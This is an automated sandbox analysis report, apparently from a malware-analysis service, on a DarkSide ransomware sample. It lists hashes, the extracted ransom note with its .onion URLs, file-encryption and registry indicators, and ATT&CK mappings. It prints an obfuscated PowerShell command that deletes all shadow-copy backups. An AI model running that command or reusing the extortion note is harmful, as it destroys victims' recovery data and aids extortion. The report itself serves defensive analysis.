darkside | 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297

General

Target

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Size

17KB
MD5

f87a2e1c3d148a67eaeb696b1ab69133
SHA1

d1dfe82775c1d698dd7861d6dfa1352a74551d35
SHA256

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
SHA512

e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3

Score

10^/10

ransomware spyware darkside persistence

Malware Config

Extracted

Path

C:\\README.c3f722bf.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\RegisterMerge.png.c3f722bf	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
File renamed	C:\Users\Admin\Pictures\SplitInstall.tif => C:\Users\Admin\Pictures\SplitInstall.tif.c3f722bf	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
File opened for modification	C:\Users\Admin\Pictures\SplitInstall.tif.c3f722bf	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
File renamed	C:\Users\Admin\Pictures\RegisterMerge.png => C:\Users\Admin\Pictures\RegisterMerge.png.c3f722bf	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
1920	powershell.exe
1920	powershell.exe
1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSecurityPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeTakeOwnershipPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeLoadDriverPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSystemProfilePrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSystemtimePrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeProfSingleProcessPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeIncBasePriorityPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeCreatePagefilePrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeBackupPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeRestorePrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeShutdownPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeDebugPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSystemEnvironmentPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeRemoteShutdownPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeUndockPrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeManageVolumePrivilege	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: 33	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: 34	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: 35	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeBackupPrivilege	944	vssvc.exe
Token: SeRestorePrivilege	944	vssvc.exe
Token: SeAuditPrivilege	944	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1496 wrote to memory of 1920	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	25
PID 1496 wrote to memory of 1920	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	25
PID 1496 wrote to memory of 1920	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	25
PID 1496 wrote to memory of 1920	1496	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	25

C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"
1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1920

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1920-1-0x000007FEF6120000-0x000007FEF6B0C000-memory.dmp

Filesize
9.9MB

Download
memory/1920-2-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/1920-3-0x000000001AD40000-0x000000001AD41000-memory.dmp

Filesize
4KB

Download
memory/1920-4-0x0000000001F30000-0x0000000001F31000-memory.dmp

Filesize
4KB

Download
memory/1920-5-0x00000000023A0000-0x00000000023A1000-memory.dmp

Filesize
4KB

Download
memory/1920-6-0x000000001C680000-0x000000001C681000-memory.dmp

Filesize
4KB

Download
memory/1920-7-0x000000001B930000-0x000000001B931000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing